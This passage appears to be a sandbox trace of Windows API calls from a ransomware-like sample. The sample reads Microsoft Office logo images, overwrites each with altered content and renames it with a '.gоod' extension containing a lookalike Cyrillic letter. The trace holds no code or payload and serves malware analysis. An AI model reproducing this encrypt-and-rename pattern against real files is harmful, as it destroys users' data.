lpFileSizeHigh=0x1fcee308*=0x0) returned 0x878 [0235.474] ReadFile (in: hFile=0x860, lpBuffer=0x38c32f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38c32f8*, lpNumberOfBytesRead=0x1fcee238*=0x878, lpOverlapped=0x0) returned 1 [0235.748] CloseHandle (hObject=0x860) returned 1 [0236.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x61 [0236.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0236.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.154] GetFileType (hFile=0x630) returned 0x1 [0236.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0236.154] GetFileType (hFile=0x630) returned 0x1 [0236.154] WriteFile (in: hFile=0x630, lpBuffer=0x3cb05a8*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3cb05a8*, lpNumberOfBytesWritten=0x1fcee148*=0x880, lpOverlapped=0x0) returned 1 [0236.155] CloseHandle (hObject=0x630) returned 1 [0236.155] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x61 [0236.155] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x66 [0236.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0236.155] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88f9f77a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x880)) returned 1 [0236.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0236.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-100.png.gоod")) returned 1 [0236.156] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x61 [0236.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0236.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3cb18e0 | out: lpFileInformation=0x3cb18e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xad5)) returned 1 [0236.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0236.156] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x61 [0236.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0236.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0236.156] GetFileType (hFile=0x630) returned 0x1 [0236.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0236.157] GetFileType (hFile=0x630) returned 0x1 [0236.157] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xad5 [0236.157] ReadFile (in: hFile=0x630, lpBuffer=0x3cb2730, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3cb2730*, lpNumberOfBytesRead=0x1fcee238*=0xad5, lpOverlapped=0x0) returned 1 [0236.158] CloseHandle (hObject=0x630) returned 1 [0236.662] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x61 [0236.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0236.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.663] GetFileType (hFile=0x860) returned 0x1 [0236.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0236.663] GetFileType (hFile=0x860) returned 0x1 [0236.663] WriteFile (in: hFile=0x860, lpBuffer=0x37a8d10*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37a8d10*, lpNumberOfBytesWritten=0x1fcee148*=0xae0, lpOverlapped=0x0) returned 1 [0236.664] CloseHandle (hObject=0x860) returned 1 [0236.664] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x61 [0236.664] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x66 [0236.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0236.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x894639e7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xae0)) returned 1 [0236.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0236.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-140.png.gоod")) returned 1 [0236.665] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x61 [0236.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0236.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x37aa048 | out: lpFileInformation=0x37aa048*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd19)) returned 1 [0236.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0236.665] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x61 [0236.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0236.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.665] GetFileType (hFile=0x860) returned 0x1 [0236.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0236.665] GetFileType (hFile=0x860) returned 0x1 [0236.665] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xd19 [0236.665] ReadFile (in: hFile=0x860, lpBuffer=0x37ab0e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37ab0e0*, lpNumberOfBytesRead=0x1fcee238*=0xd19, lpOverlapped=0x0) returned 1 [0236.667] CloseHandle (hObject=0x860) returned 1 [0236.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x61 [0236.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0236.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.679] GetFileType (hFile=0x860) returned 0x1 [0236.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0236.679] GetFileType (hFile=0x860) returned 0x1 [0236.679] WriteFile (in: hFile=0x860, lpBuffer=0x3826700*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3826700*, lpNumberOfBytesWritten=0x1fcee148*=0xd20, lpOverlapped=0x0) returned 1 [0236.679] CloseHandle (hObject=0x860) returned 1 [0236.679] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x61 [0236.680] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x66 [0236.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0236.680] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x89489c4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd20)) returned 1 [0236.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0236.680] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-180.png.gоod")) returned 1 [0236.680] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x60 [0236.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0236.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3827a38 | out: lpFileInformation=0x3827a38*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a3)) returned 1 [0236.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0236.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x60 [0236.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0236.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.681] GetFileType (hFile=0x860) returned 0x1 [0236.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0236.681] GetFileType (hFile=0x860) returned 0x1 [0236.681] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7a3 [0236.681] ReadFile (in: hFile=0x860, lpBuffer=0x3828558, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3828558*, lpNumberOfBytesRead=0x1fcee238*=0x7a3, lpOverlapped=0x0) returned 1 [0236.779] CloseHandle (hObject=0x860) returned 1 [0236.790] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x60 [0236.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0236.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.792] GetFileType (hFile=0x860) returned 0x1 [0236.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0236.792] GetFileType (hFile=0x860) returned 0x1 [0236.792] WriteFile (in: hFile=0x860, lpBuffer=0x37370c0*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37370c0*, lpNumberOfBytesWritten=0x1fcee148*=0x7b0, lpOverlapped=0x0) returned 1 [0236.793] CloseHandle (hObject=0x860) returned 1 [0236.793] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x60 [0236.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x65 [0236.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0236.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x89594afe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7b0)) returned 1 [0236.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0236.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-black_scale-80.png.gоod")) returned 1 [0236.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x61 [0236.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0236.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x37383f8 | out: lpFileInformation=0x37383f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88a)) returned 1 [0236.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0236.796] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x61 [0236.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0236.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.796] GetFileType (hFile=0x860) returned 0x1 [0236.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0236.796] GetFileType (hFile=0x860) returned 0x1 [0236.796] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x88a [0236.796] ReadFile (in: hFile=0x860, lpBuffer=0x3739000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3739000*, lpNumberOfBytesRead=0x1fcee238*=0x88a, lpOverlapped=0x0) returned 1 [0236.798] CloseHandle (hObject=0x860) returned 1 [0236.809] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x61 [0236.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0236.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.811] GetFileType (hFile=0x860) returned 0x1 [0236.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0236.811] GetFileType (hFile=0x860) returned 0x1 [0236.811] WriteFile (in: hFile=0x860, lpBuffer=0x37b2f50*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37b2f50*, lpNumberOfBytesWritten=0x1fcee148*=0x890, lpOverlapped=0x0) returned 1 [0236.813] CloseHandle (hObject=0x860) returned 1 [0236.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x61 [0236.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 